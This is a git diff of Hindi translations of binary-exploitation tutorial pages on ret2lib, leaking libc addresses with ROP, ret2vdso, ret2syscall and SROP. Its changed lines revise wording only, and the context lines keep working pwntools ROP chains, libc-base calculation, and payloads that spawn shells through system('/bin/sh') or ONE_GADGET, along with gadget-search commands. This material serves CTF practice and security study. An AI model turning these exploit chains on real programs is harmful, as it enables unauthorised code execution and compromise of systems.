@@ -105,29 +108,32 @@ c.interactive() उदाहरण देखें: + {{#ref}} ../ {{#endref}} ## ARM64 Ret2lib उदाहरण -ARM64 के मामले में, ret निर्देश उस स्थान पर कूदता है जहाँ x30 रजिस्टर इशारा कर रहा है और न कि जहाँ स्टैक रजिस्टर इशारा कर रहा है। इसलिए यह थोड़ा अधिक जटिल है। +ARM64 के मामले में, ret निर्देश उस स्थान पर कूदता है जहाँ x30 रजिस्टर इंगित कर रहा है और न कि जहाँ स्टैक रजिस्टर इंगित कर रहा है। इसलिए यह थोड़ा अधिक जटिल है। ARM64 में एक निर्देश वही करता है जो निर्देश करता है (निर्देशों के बीच में कूदना और उन्हें नए में बदलना संभव नहीं है)। उदाहरण देखें: + {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} ## Ret-into-printf (या puts) -यह **प्रक्रिया से जानकारी लीक करने** की अनुमति देता है `printf`/`puts` को कुछ विशिष्ट डेटा को तर्क के रूप में डालकर कॉल करके। उदाहरण के लिए, `puts` के GOT के पते को `puts` के निष्पादन में डालने से **मेमोरी में `puts` का पता लीक होगा**। +यह **प्रक्रिया से जानकारी लीक करने** की अनुमति देता है `printf`/`puts` को कुछ विशिष्ट डेटा को तर्क के रूप में पास करके। उदाहरण के लिए, `puts` के GOT के पते को `puts` के निष्पादन में डालने से **मेमोरी में `puts` का पता लीक होगा**। ## Ret2printf -इसका मूलतः मतलब है **Ret2lib का दुरुपयोग करना ताकि इसे `printf` फॉर्मेट स्ट्रिंग्स की कमजोरियों में बदल दिया जाए** `ret2lib` का उपयोग करके printf को उन मानों के साथ कॉल करना जो इसका शोषण करते हैं (सुनने में बेकार लगता है लेकिन संभव है): +इसका मूलतः मतलब है **Ret2lib का दुरुपयोग करना ताकि इसे `printf` फॉर्मेट स्ट्रिंग्स की भेद्यता में बदल दिया जाए** `ret2lib` का उपयोग करके printf को उन मानों के साथ कॉल करना जो इसका शोषण करते हैं (सुनने में बेकार लगता है लेकिन संभव है): + {{#ref}} ../../format-strings/ @@ -138,13 +144,13 @@ ret2lib-+-printf-leak-arm64.md - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - Ret2lib, libc में एक फ़ंक्शन के पते को लीक करने के लिए, एक गेजेट का उपयोग करना - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम एक ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए ताकि फिर puts को कॉल किया जा सके और इसे लीक किया जा सके। कैनरी के साथ एक ROP गेजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक किया जा सके और फिर `system('/bin/sh')` को कॉल करने के लिए एक ROP गेजेट। +- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए, फिर puts को कॉल करें और इसे लीक करें। कैनरी के साथ एक ROP गेजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक हो सके और फिर `system('/bin/sh')` को कॉल करने के लिए एक ROP गेजेट। - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, मुख्य से एक चाइल्ड फ़ंक्शन में स्टैक ओवरफ्लो। GOT से puts के पते को लीक करने के लिए puts को कॉल करने के लिए ROP गेजेट और फिर एक गेजेट को कॉल करें। +- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, मुख्य से एक चाइल्ड फ़ंक्शन में स्टैक ओवरफ्लो। GOT से puts का पता लीक करने के लिए puts को कॉल करने के लिए ROP गेजेट और फिर एक गेजेट को कॉल करें। - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) -- 64 बिट, कोई pie नहीं, कोई कैनरी नहीं, कोई relro नहीं, nx। लिखने के फ़ंक्शन का उपयोग करके लिखने के पते (libc) को लीक करता है और एक गेजेट को कॉल करता है। +- 64 बिट, कोई pie नहीं, कोई कैनरी नहीं, कोई relro नहीं, nx। लिखने के फ़ंक्शन का उपयोग करके लिखने के पते को लीक करता है (libc) और एक गेजेट को कॉल करता है। - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) -- स्टैक से कैनरी को लीक करने के लिए एक फॉर्मेट स्ट्रिंग का उपयोग करता है और `/bin/sh` के पते के साथ सिस्टम में कॉल करने के लिए एक बफर ओवरफ्लो करता है (यह GOT में है)। +- स्टैक से कैनरी को लीक करने के लिए एक फॉर्मेट स्ट्रिंग का उपयोग करता है और सिस्टम में कॉल करने के लिए एक बफर ओवरफ्लो (यह GOT में है) के साथ `/bin/sh` के पते के साथ। - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - 32 बिट, कोई relro नहीं, कोई कैनरी नहीं, nx, pie। स्टैक से libc और heap के पते को लीक करने के लिए एक खराब इंडेक्सिंग का दुरुपयोग करें। `system('/bin/sh')` को कॉल करने के लिए ret2lib का दुरुपयोग करें (heap का पता एक जांच को बायपास करने के लिए आवश्यक है)। diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index b55e3f181..7cb26bbfe 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -5,8 +5,8 @@ ## त्वरित सारांश 1. **ओवरफ्लो** **ऑफसेट** खोजें -2. `POP_RDI` गैजेट, `PUTS_PLT` और `MAIN` गैजेट खोजें -3. पिछले गैजेट्स का उपयोग करके **puts या अन्य libc फ़ंक्शन का मेमोरी पता लीक करें** और **libc संस्करण खोजें** ([डाउनलोड करें](https://libc.blukat.me)) +2. **खोजें** `POP_RDI` गैजेट, `PUTS_PLT` और `MAIN` गैजेट +3. पिछले गैजेट्स का उपयोग करें **puts** या अन्य libc फ़ंक्शन का **मेमोरी पता लीक करने** के लिए और **libc संस्करण खोजें** ([donwload it](https://libc.blukat.me)) 4. पुस्तकालय के साथ, **ROP की गणना करें और इसका शोषण करें** ## अभ्यास के लिए अन्य ट्यूटोरियल और बाइनरी @@ -36,6 +36,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie एक्सप्लॉइट डाउनलोड करें और इसे कमजोर बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें: + {{#ref}} rop-leaking-libc-template.md {{#endref}} @@ -57,21 +58,21 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**कार्यान्वित करें** `python template.py` एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस **GDB कंसोल** के अंदर `x/wx $rsp` चलाएँ ताकि **बाइट्स** प्राप्त हो सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक **python** कंसोल का उपयोग करके **ऑफसेट** प्राप्त करें: +**Execute** `python template.py` एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस **GDB कंसोल** के अंदर `x/wx $rsp` चलाएँ ताकि **bytes** प्राप्त कर सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक **python** कंसोल का उपयोग करके **offset** प्राप्त करें: ```python from pwn import * cyclic_find(0x6161616b) ``` ![](<../../../../images/image (1007).png>) -ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें।\ +ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET चर को बदलें।\ `OFFSET = "A" * 40` एक और तरीका होगा: `pattern create 1000` -- _ret तक निष्पादित करें_ -- `pattern seach $rsp` GEF से। ## 2- गैजेट्स खोजना -अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स `puts` को कॉल करने के लिए उपयोगी होंगे ताकि **libc** का पता लगाया जा सके, और बाद में **अंतिम एक्सप्लॉइट** को **लॉन्च** करने के लिए। +अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स `puts` को कॉल करने के लिए उपयोगी होंगे ताकि **libc** का पता लगाया जा सके, और बाद में **अंतिम एक्सप्लॉइट लॉन्च** करने के लिए। ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -82,15 +83,15 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` -`PUTS_PLT` को **function puts** को कॉल करने के लिए आवश्यक है।\ -`MAIN_PLT` को **exploit** के लिए **overflow** को **फिर से** कॉल करने के लिए आवश्यक है (शाश्वत शोषण के दौर)। **यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है।**\ +The `PUTS_PLT` को **function puts** को कॉल करने के लिए आवश्यक है।\ +`MAIN_PLT` को **main function** को फिर से कॉल करने के लिए आवश्यक है एक इंटरैक्शन के बाद **overflow** को **फिर से** **exploit** करने के लिए (शाश्वत शोषण के राउंड)। **यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है**।\ **POP_RDI** को कॉल की गई फ़ंक्शन को **parameter** **pass** करने के लिए आवश्यक है। इस चरण में आपको कुछ भी निष्पादित करने की आवश्यकता नहीं है क्योंकि सब कुछ pwntools द्वारा निष्पादन के दौरान पाया जाएगा। ## 3- libc पुस्तकालय खोजना -अब यह पता लगाने का समय है कि कौन सी **libc** पुस्तकालय का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम **leak** करने जा रहे हैं **address** को मेमोरी में **function** `puts` का और फिर हम यह **search** करने जा रहे हैं कि उस पते में puts संस्करण किस **library version** में है। +अब यह समय है यह खोजने का कि कौन सी **libc** पुस्तकालय का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम **leak** करने जा रहे हैं **address** को मेमोरी में **function** `puts` का और फिर हम **search** करने जा रहे हैं कि उस पते में puts संस्करण किस **library version** में है। ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -119,25 +120,25 @@ if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` -इसलिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है: +इसे करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` -यह कुछ बाइट्स भेजेगा जब तक **RIP** को **ओवरराइट** करना संभव न हो: `OFFSET`.\ +यह कुछ बाइट्स भेजेगा जब तक कि **RIP** को **ओवरराइट** करना संभव न हो: `OFFSET`.\ फिर, यह **गैजेट** `POP_RDI` का **पता** सेट करेगा ताकि अगला पता (`FUNC_GOT`) **RDI** रजिस्ट्रि में सहेजा जा सके। इसका कारण यह है कि हम **puts** को **कॉल** करना चाहते हैं **उसे** `PUTS_GOT` का **पता** पास करते हुए क्योंकि मेमोरी में puts फ़ंक्शन का पता `PUTS_GOT` द्वारा इंगित किए गए पते में सहेजा गया है।\ -इसके बाद, `PUTS_PLT` को (जिसमें `PUTS_GOT` **RDI** के अंदर है) कॉल किया जाएगा ताकि puts `PUTS_GOT` के अंदर की सामग्री (**मेमोरी में puts फ़ंक्शन का पता**) को **पढ़े** और इसे **प्रिंट** करे।\ +इसके बाद, `PUTS_PLT` को कॉल किया जाएगा (जिसमें `PUTS_GOT` **RDI** के अंदर है) ताकि puts **सामग्री** को **पढ़ सके** जो `PUTS_GOT` के अंदर है (**मेमोरी में puts फ़ंक्शन का पता**) और इसे **प्रिंट** कर सके।\ अंत में, **मुख्य फ़ंक्शन फिर से कॉल किया जाता है** ताकि हम फिर से ओवरफ्लो का लाभ उठा सकें। -इस तरह हमने **puts फ़ंक्शन** को **प्रिंट** करने के लिए **धोखा** दिया है **मेमोरी** में फ़ंक्शन **puts** का **पता** (जो **libc** लाइब्रेरी के अंदर है)। अब जब हमारे पास वह पता है, हम **खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है**। +इस तरह हमने **puts फ़ंक्शन** को **प्रिंट** करने के लिए **धोखा दिया** **मेमोरी** में फ़ंक्शन **puts** का **पता** (जो **libc** पुस्तकालय के अंदर है)। अब जब हमारे पास वह पता है, हम **खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है**। ![](<../../../../images/image (1049).png>) -चूंकि हम कुछ **स्थानीय** बाइनरी का **शोषण** कर रहे हैं, इसलिए यह **जानने की आवश्यकता नहीं है** कि कौन सा **libc** संस्करण उपयोग में है (बस `/lib/x86_64-linux-gnu/libc.so.6` में लाइब्रेरी खोजें)।\ -लेकिन, एक दूरस्थ शोषण मामले में, मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं: +चूंकि हम कुछ **स्थानीय** बाइनरी का **शोषण** कर रहे हैं, इसलिए यह **जानने की आवश्यकता नहीं है** कि कौन सा **libc** संस्करण उपयोग में है (बस `/lib/x86_64-linux-gnu/libc.so.6` में पुस्तकालय खोजें)।\ +लेकिन, एक दूरस्थ शोषण मामले में मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं: ### 3.1- libc संस्करण की खोज (1) -आप वेब पृष्ठ पर देख सकते हैं कि कौन सी लाइब्रेरी उपयोग में है: [https://libc.blukat.me/](https://libc.blukat.me)\ +आप वेब पृष्ठ पर देख सकते हैं कि कौन सा पुस्तकालय उपयोग में है: [https://libc.blukat.me/](https://libc.blukat.me)\ यह आपको खोजे गए **libc** के संस्करण को डाउनलोड करने की भी अनुमति देगा। ![](<../../../../images/image (221).png>) @@ -156,13 +157,13 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - Libc प्रतीक नाम: `puts` - लीक किया गया libc पता: `0x7ff629878690` -हम यह पता लगा सकते हैं कि कौन सा **libc** सबसे अधिक संभावना है कि उपयोग में है। +हम यह पता लगा सकते हैं कि कौन सा **libc** संभवतः उपयोग में है। ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -हमें 2 मेल मिलते हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आज़माना चाहिए)। पहला डाउनलोड करें: +हमें 2 मेल मिलते हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आजमाना चाहिए)। पहला डाउनलोड करें: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -171,7 +172,7 @@ Getting libc6_2.23-0ubuntu10_amd64 -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` -`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` को हमारी कार्यशील निर्देशिका में कॉपी करें। +`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` से libc को हमारी कार्यशील निर्देशिका में कॉपी करें। ### 3.3- लीक करने के लिए अन्य फ़ंक्शन ```python @@ -181,24 +182,24 @@ __libc_start_main read gets ``` -## 4- libc पता लगाना और शोषण करना +## 4- Finding based libc address & exploiting -इस बिंदु पर हमें उपयोग की जाने वाली libc पुस्तकालय के बारे में पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं केवल उपयोग करूंगा: `/lib/x86_64-linux-gnu/libc.so.6` +इस बिंदु पर हमें उपयोग की जाने वाली libc लाइब्रेरी के बारे में पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं केवल उपयोग करूंगा: `/lib/x86_64-linux-gnu/libc.so.6` -तो, `template.py` के शुरुआत में **libc** वेरिएबल को बदलें: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` +तो, `template.py` की शुरुआत में **libc** वेरिएबल को बदलें: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -**libc पुस्तकालय** के लिए **पथ** देने से बाकी का **शोषण स्वचालित रूप से गणना किया जाएगा**। +**libc लाइब्रेरी** के लिए **पथ** देने से **शोषण स्वचालित रूप से गणना किया जाएगा**। -`get_addr` फ़ंक्शन के अंदर **libc का आधार पता** गणना किया जाएगा: +`get_addr` फ़ंक्शन के अंदर **libc का बेस पता** गणना किया जाएगा: ```python if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` -> [!NOTE] +> [!TIP] > ध्यान दें कि **अंतिम libc बेस पता 00 पर समाप्त होना चाहिए**। यदि ऐसा नहीं है, तो आप एक गलत पुस्तकालय लीक कर सकते हैं। -फिर, फ़ंक्शन `system` का पता और स्ट्रिंग _"/bin/sh"_ का **पता** **libc** के **बेस पते** से **गणना** किया जाएगा और **libc पुस्तकालय** दिया जाएगा। +फिर, फ़ंक्शन `system` का पता और **पता** स्ट्रिंग _"/bin/sh"_ का **libc** के **बेस पते** से **गणना** किया जाएगा और **libc पुस्तकालय** दिया जाएगा। ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -227,7 +228,7 @@ p.interactive() #Interact with the conenction ## 4(2)- ONE_GADGET का उपयोग करना -आप [**ONE_GADGET** ](https://github.com/david942j/one_gadget) का उपयोग करके **system** और **"/bin/sh"** के बजाय एक शेल प्राप्त कर सकते हैं। ONE_GADGET libc पुस्तकालय के अंदर एक शेल प्राप्त करने का एक तरीका खोजेगा जो केवल एक **ROP पता** का उपयोग करता है।\ +आप [**ONE_GADGET** ](https://github.com/david942j/one_gadget) का उपयोग करके **system** और **"/bin/sh"** के बजाय एक शेल प्राप्त कर सकते हैं। **ONE_GADGET** libc पुस्तकालय के अंदर एक शेल प्राप्त करने के लिए केवल एक **ROP पता** का उपयोग करने का तरीका खोजेगा।\ हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से बचने वाली सीमाएँ हैं जैसे `[rsp+0x30] == NULL`। चूंकि आप **RSP** के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि सीमा से बचा जा सके। ![](<../../../../images/image (754).png>) @@ -239,6 +240,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 आप इस कमजोरियों का फायदा उठाने के लिए एक टेम्पलेट यहाँ पा सकते हैं: + {{#ref}} rop-leaking-libc-template.md {{#endref}} @@ -259,7 +261,7 @@ MAIN_PLT = 0x401080 ``` ### Puts नहीं मिला -यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको यह जांचना चाहिए कि क्या यह उपयोग कर रही है +यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको जांचना चाहिए कि क्या यह उपयोग कर रही है ### `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला` diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index 269e26227..779836b2e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -6,7 +6,7 @@ vDSO क्षेत्र में **गैजेट्स हो सकते हैं**, जिसका उपयोग उपयोगकर्ता मोड से कर्नेल मोड में बदलने के लिए किया जाता है। इस प्रकार की चुनौतियों में, आमतौर पर vDSO क्षेत्र को डंप करने के लिए एक कर्नेल इमेज प्रदान की जाती है। -[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) से उदाहरण लेते हुए, यह देखना संभव है कि vdso अनुभाग को कैसे डंप किया गया और इसे मेज़बान पर कैसे स्थानांतरित किया गया: +[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) से उदाहरण लेते हुए, यह देखना संभव है कि vdso सेक्शन को कैसे डंप किया गया और इसे होस्ट पर कैसे स्थानांतरित किया गया: ```bash # Find addresses cat /proc/76/maps @@ -56,7 +56,8 @@ pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ### ARM64 -kali 2023.2 arm64 में एक बाइनरी के vdso अनुभाग को डंप और जांचने के बाद, मुझे वहां कोई दिलचस्प गैजेट नहीं मिला (स्टैक में मानों से रजिस्टर को नियंत्रित करने का कोई तरीका नहीं या ret के लिए x30 को नियंत्रित करने का कोई तरीका नहीं) **सिवाय SROP को कॉल करने के एक तरीके के**। पृष्ठ के उदाहरण में अधिक जानकारी देखें: +Kali 2023.2 arm64 में एक बाइनरी के vdso अनुभाग को डंप और जांचने के बाद, मुझे वहां कोई दिलचस्प गैजेट नहीं मिला (स्टैक में मानों से रजिस्टर को नियंत्रित करने का कोई तरीका नहीं या ret के लिए x30 को नियंत्रित करने का कोई तरीका नहीं) **सिवाय SROP को कॉल करने के एक तरीके के**। पृष्ठ के उदाहरण में अधिक जानकारी देखें: + {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index bda2bc8cd..c7baf6b8e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -13,14 +13,14 @@ - `rsi: 0 कोई तर्क नहीं दिया गया` - `rdx: 0 कोई पर्यावरण चर नहीं दिया गया` -तो, मूल रूप से, `/bin/sh` स्ट्रिंग को कहीं लिखना आवश्यक है और फिर `syscall` करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहते हुए)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो `/bin/sh` को एक ज्ञात क्षेत्र में लिख सके। +तो, मूल रूप से, `/bin/sh` को कहीं लिखना आवश्यक है और फिर `syscall` करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहना)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो `/bin/sh` को एक ज्ञात क्षेत्र में लिख सके। > [!TIP] -> कॉल करने के लिए एक और दिलचस्प syscall **`mprotect`** है जो एक हमलावर को **मेमोरी में एक पृष्ठ के अनुमतियों को संशोधित करने** की अनुमति देगा। इसे [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) के साथ जोड़ा जा सकता है। +> एक और दिलचस्प syscall जिसे कॉल किया जा सकता है वह है **`mprotect`** जो एक हमलावर को **मेमोरी में एक पृष्ठ के अनुमतियों को संशोधित करने** की अनुमति देगा। इसे [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) के साथ जोड़ा जा सकता है। ## Register gadgets -आइए **उन रजिस्टरों को नियंत्रित करने के तरीके** को खोजने से शुरू करें: +आइए **उन रजिस्टरों को नियंत्रित करने** के तरीके को खोजने से शुरू करें: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -45,7 +45,7 @@ Start End Offset Perm Path ``` ### मेमोरी में स्ट्रिंग लिखें -फिर आपको इस पते पर मनचाही सामग्री लिखने का एक तरीका खोजना होगा। +फिर आपको इस पते पर मनमाना सामग्री लिखने का एक तरीका खोजना होगा। ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx @@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx यदि आप **gadgets की कमी** महसूस कर रहे हैं, उदाहरण के लिए `/bin/sh` को मेमोरी में लिखने के लिए, तो आप स्टैक से सभी रजिस्टर मानों (जिसमें RIP और params रजिस्टर शामिल हैं) को नियंत्रित करने के लिए **SROP तकनीक** का उपयोग कर सकते हैं: + {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} @@ -174,7 +175,7 @@ target.interactive() - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - 64 बिट, कोई PIE नहीं, nx, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) -- 64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए गणितीय संचालन करने वाले एक फ़ंक्शन का दुरुपयोग किया गया है। +- 64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए एक ऐसा फ़ंक्शन जो गणितीय संचालन करता है, का दुरुपयोग किया जाता है। - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 बिट, कोई PIE नहीं, nx, BF कैनरी, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 4e8845153..5af238215 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -4,14 +4,16 @@ arm64 का परिचय यहाँ खोजें: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## कोड +## Code हम पृष्ठ से उदाहरण का उपयोग करने जा रहे हैं: + {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} @@ -63,7 +65,7 @@ nop ; mov x8, #0xdd ; svc #0 ``` -पिछले गैजेट्स के साथ, हम स्टैक से सभी आवश्यक रजिस्टरों को नियंत्रित कर सकते हैं और syscall को कॉल करने के लिए दूसरे गैजेट पर कूदने के लिए x5 का उपयोग कर सकते हैं। +पिछले गैजेट्स के साथ, हम स्टैक से सभी आवश्यक रजिस्टरों को नियंत्रित कर सकते हैं और syscall कॉल करने के लिए दूसरे गैजेट पर कूदने के लिए x5 का उपयोग कर सकते हैं। > [!TIP] > ध्यान दें कि libc लाइब्रेरी से इस जानकारी को जानने से ret2libc हमले को भी करना संभव है, लेकिन चलिए इसे इस वर्तमान उदाहरण के लिए उपयोग करते हैं। diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 7a20dd727..955bdba61 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -4,16 +4,17 @@ ## Basic Information -**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल ऑपरेटिंग सिस्टम द्वारा प्रोग्राम को भेजे गए व्यवधान होते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह सिग्नल को संभालने के लिए **सिग्नल हैंडलर** के साथ अपने वर्तमान कार्य को अस्थायी रूप से रोक देता है, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है। +**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल वे व्यवधान हैं जो ऑपरेटिंग सिस्टम द्वारा एक प्रोग्राम को भेजे जाते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह अस्थायी रूप से अपने वर्तमान कार्य को रोकता है ताकि सिग्नल को एक **सिग्नल हैंडलर** के साथ संभाला जा सके, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है। -सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कि कुछ भी नहीं हुआ। यहीं पर **`sigreturn`** काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और 